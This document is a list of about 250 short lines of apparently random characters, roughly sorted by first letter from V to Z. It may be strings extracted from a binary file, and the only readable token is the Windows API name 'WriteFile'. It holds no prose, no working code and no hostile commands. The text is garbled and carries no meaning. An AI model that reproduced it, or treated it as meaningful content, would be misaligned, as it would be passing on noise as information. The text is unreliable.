VuVu']
vv__12
[[vvr!"
,V,Vr;
VVT}aQF
vvv_CGj
vvvXk_
vvxx1Yj
VV;;x@Xb
VXzXz4
VZlk+(?
?vzzzY
{+<<<w
..!!+W
{{{	W'
+W:::?
w 00--Am
\W1EC--
*@W2D111
W2 Sq3t
w4aV_TS
w4JJJg
w{|||5R
w7   t
WB4448
;wB"m&   
wC4F-D
`wccdd
=WCWCp
w/d=7A
w"	[E+
wEtt11
:WFFDDXI
wf'''#X
",w*hh
w$,Hji
;w*i ?:7
wIZvvvS=
wJ^YI7p
wKKK=!
=w#]l2
w'	l38
-&W* M
wmgggN vi
w?Mqqq
w;;;o=\
W$O	HwwDD
 wPiiig&z
{WPPPc
wq\ pD
WriteFile
W	Rx*y
W@ue777
Ww$761
WW		Qm
&&WWR$
+ww		t6
]www_-
]]WWw	
,	WWW.
^www6fp
(_w'X/D
]wXXX`6,#
wY00ppl
w[[[y1nPh
wy'=`h
WyOKk+m
>}x<<<
```.X=
X]]]!)}
x===1m
x1|PPP
[x@@@}2
x2_Q~?
`>>&&[x4
x@@772
X(9&;N
x>>>a8
XA~A~{
"-Xaaa
&XBBB 
x```c%9
X^c$c$
xcccbJ+
`&X Dec
}xDyKOC
|<xe3V
X\Frrr
?X g9$
X)/ho38
xh Q<$<-
XI2JJJ=
:,xI!z?
xl.TTT
xMNNN^
%XNHHH
XO9\b0(
xoM6>Z
">)XQR
X]Rab#
X}SeSe
xTaOaOg
xUZ9_&
Xv&dddUI
XvqvqC<
,@XWpG
Xww44=B
`]?x?x
||xx;@
XX88R5
XXdt'p
+XX[[H
+X%X%IH
XXQLvuG
?$XXrr
XXX6%At~H
xxx ]&b
XXXdKH/
xxx((_K
xxxt5r
XXXt$m
[xxx*W
X`Z<\^
x*zQ,$
XzQQss
XzzhhK
y<|```
Y|:...
`y000)g,J
)Y1'1'
Y1Y1@~
||<y4:
y)>4>4a
Y4''IIy
]y777HB
`^*y7K
Y>9VG+I
Yaa((M
^yBN@~
Yb*_\q#
Y~C$GXj
Y|D|Dh
,,ye_*
ye>e>Aj
y/``?h
Yh+|===
YH=7=7.Z
.yi~{{{
YiAiA/R
Y##iiO{*
>:::yiO
Y@j@o.
~=yJU_v
yk=^	^	
y}}kkH
y.kkkG
y.$$LLb
YLU,,,!A
yMyM-'
$YN``((
Y[Nmmm
'yOUUmm
	YpHHH
=yPPcc
Ypp''z
YRI'`+
YSESEt
^Ys+s+
YT6I!7
YT	T	y
YU2X~W
{&yuKQ
/< |YV
YVdw`P
"Yx*2*2>s
.YX<<qq
yy99^N
y(y(c)a
 yygg+\
|-YYJJ
YY((l]&
@yy**R"
;YYY.%+
YYY0BZ
!YYY2.
yyy7qm
YYY=hL
%yyyNV
yyyS$;
YYY/x 
YYyy?g
YYYy;p@
	y	yzQ?ZM
%YZrrr
::++"z
]?<?<z
'..Z'=
z 1=,j
z4\\\P
Z`@4PT
!z			5
Z$5$5 
z.5Ep`,
___'z7
z:7:7"
Z||77>
z	7%~y
Z?.a.a
z			A~m
ZA:u800KK
|zb@=4
zB6au0
Z*Br%%%
%zCCQQ>
ze9! (B
Z@F;UUU
*z^g1/
{{{ZGsl
<$#ZHHH
zlm266
\Z-nFW
zPh:pMY
z;pkGv
Zpk^iU
`Z{p	Z
z<qKRj
z[S---
Zs0@-^
z^tRRR
'ZVTTT4c
Z\VVV O
zW@@@i{
Zwwkk9
ZxP3, [i:^8j
z$xT._
zY>{>{
z=z=iM
~~zzo0A
ZZ##oI7
zZyjaG
ZZZJ%2@
{ZZZkqK
%ZZZN"
zzzRn<
zzzT@ZL9